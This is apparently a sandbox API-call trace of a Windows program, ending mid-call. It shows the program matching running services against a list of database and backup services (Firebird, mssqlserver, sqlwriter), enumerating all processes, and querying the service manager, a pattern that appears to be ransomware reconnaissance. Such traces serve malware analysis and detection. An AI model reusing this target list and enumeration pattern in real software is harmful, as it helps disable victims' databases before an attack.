lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0287.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0287.684] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0287.684] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0287.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0287.684] lstrlenW (lpString="netprofm") returned 8 [0287.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0287.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0287.685] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0287.685] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0287.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0287.685] lstrlenW (lpString="NgcSvc") returned 6 [0287.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0287.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0287.685] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0287.685] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0287.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0287.685] lstrlenW (lpString="NlaSvc") returned 6 [0287.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0287.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0287.685] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0287.685] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0287.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0287.685] lstrlenW (lpString="nsi") returned 3 [0287.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0287.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0287.685] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0287.685] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0287.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0287.686] lstrlenW (lpString="PcaSvc") returned 6 [0287.686] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0287.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0287.686] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0287.686] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0287.686] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0287.686] lstrlenW (lpString="PlugPlay") returned 8 [0287.686] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0287.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0287.686] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0287.686] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0287.686] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0287.686] lstrlenW (lpString="Power") returned 5 [0287.686] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0287.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0287.686] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0287.686] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0287.686] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0287.686] lstrlenW (lpString="ProfSvc") returned 7 [0287.686] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0287.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0287.686] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0287.687] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0287.687] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0287.687] lstrlenW (lpString="RpcEptMapper") returned 12 [0287.687] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0287.687] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0287.687] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0287.687] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0287.687] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0287.687] lstrlenW (lpString="RpcSs") returned 5 [0287.687] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0287.687] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0287.687] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0287.687] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0287.687] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0287.687] lstrlenW (lpString="SamSs") returned 5 [0287.687] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0287.687] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0287.687] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0287.687] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0287.688] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0287.688] lstrlenW (lpString="Schedule") returned 8 [0287.688] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0287.688] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0287.688] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0287.688] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0287.688] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0287.688] lstrlenW (lpString="SecurityHealthService") returned 21 [0287.688] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0287.688] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0287.688] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0287.688] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0287.688] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0287.688] lstrlenW (lpString="SENS") returned 4 [0287.688] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0287.688] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0287.688] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0287.688] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0287.688] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0287.688] lstrlenW (lpString="ShellHWDetection") returned 16 [0287.688] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0287.688] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0287.688] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0287.688] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0287.688] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0287.688] lstrlenW (lpString="Spooler") returned 7 [0287.689] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0287.689] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0287.689] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0287.689] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0287.689] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0287.689] lstrlenW (lpString="StateRepository") returned 15 [0287.689] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0287.689] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0287.689] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0287.689] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0287.689] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0287.689] lstrlenW (lpString="SysMain") returned 7 [0287.689] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0287.689] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0287.689] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0287.689] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0287.689] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0287.689] lstrlenW (lpString="SystemEventsBroker") returned 18 [0287.689] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0287.689] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0287.689] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0287.689] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0287.689] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0287.689] lstrlenW (lpString="Themes") returned 6 [0287.689] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0287.689] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0287.689] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0287.690] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0287.690] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0287.690] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0287.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0287.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0287.690] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0287.690] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0287.690] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4691f80 | out: hHeap=0x640000) returned 1 [0287.690] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x560 [0288.270] Process32FirstW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0288.271] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x69, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0288.272] lstrlenW (lpString="System") returned 6 [0288.272] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0288.273] lstrlenW (lpString="smss.exe") returned 8 [0288.273] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0288.274] lstrlenW (lpString="csrss.exe") returned 9 [0288.274] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0288.275] lstrlenW (lpString="wininit.exe") returned 11 [0288.276] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0288.277] lstrlenW (lpString="csrss.exe") returned 9 [0288.277] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0288.277] lstrlenW (lpString="winlogon.exe") returned 12 [0288.278] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0288.278] lstrlenW (lpString="services.exe") returned 12 [0288.279] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0288.279] lstrlenW (lpString="lsass.exe") returned 9 [0288.280] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0288.281] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0288.281] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0288.282] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0288.282] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0288.283] lstrlenW (lpString="svchost.exe") returned 11 [0288.283] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0288.284] lstrlenW (lpString="svchost.exe") returned 11 [0288.284] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0288.285] lstrlenW (lpString="dwm.exe") returned 7 [0288.285] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x34, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0288.286] lstrlenW (lpString="svchost.exe") returned 11 [0288.286] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0288.287] lstrlenW (lpString="svchost.exe") returned 11 [0288.287] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0288.288] lstrlenW (lpString="svchost.exe") returned 11 [0288.288] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0288.289] lstrlenW (lpString="svchost.exe") returned 11 [0288.289] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0288.290] lstrlenW (lpString="svchost.exe") returned 11 [0288.291] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x424, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0288.291] lstrlenW (lpString="svchost.exe") returned 11 [0288.292] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0288.293] lstrlenW (lpString="svchost.exe") returned 11 [0288.293] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0288.294] lstrlenW (lpString="svchost.exe") returned 11 [0288.294] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0288.294] lstrlenW (lpString="svchost.exe") returned 11 [0288.295] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0288.296] lstrlenW (lpString="svchost.exe") returned 11 [0288.296] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0288.297] lstrlenW (lpString="spoolsv.exe") returned 11 [0288.297] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x61c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0288.298] lstrlenW (lpString="svchost.exe") returned 11 [0288.298] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x518, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0288.299] lstrlenW (lpString="audiodg.exe") returned 11 [0288.299] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0288.300] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0288.300] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0288.431] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0288.431] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0288.432] lstrlenW (lpString="Memory Compression") returned 18 [0288.432] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0288.433] lstrlenW (lpString="svchost.exe") returned 11 [0288.433] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0288.434] lstrlenW (lpString="sihost.exe") returned 10 [0288.435] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0288.435] lstrlenW (lpString="taskhostw.exe") returned 13 [0288.436] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0288.436] lstrlenW (lpString="msoia.exe") returned 9 [0288.437] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0xa28, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0288.437] lstrlenW (lpString="explorer.exe") returned 12 [0288.438] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0288.438] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0288.439] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0288.440] lstrlenW (lpString="SearchUI.exe") returned 12 [0288.440] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0288.440] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0288.441] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0288.441] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0288.442] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0xa40, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0288.442] lstrlenW (lpString="chrome64b.exe") returned 13 [0288.443] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0288.443] lstrlenW (lpString="dllhost.exe") returned 11 [0288.444] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0288.444] CloseHandle (hObject=0x560) returned 1 [0288.444] Sleep (dwMilliseconds=0x1f4) [0289.234] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x69a130 [0289.234] EnumServicesStatusExW (in: hSCManager=0x69a130, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 0 [0289.235] GetLastError () returned 0xea [0289.235] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x1c30) returned 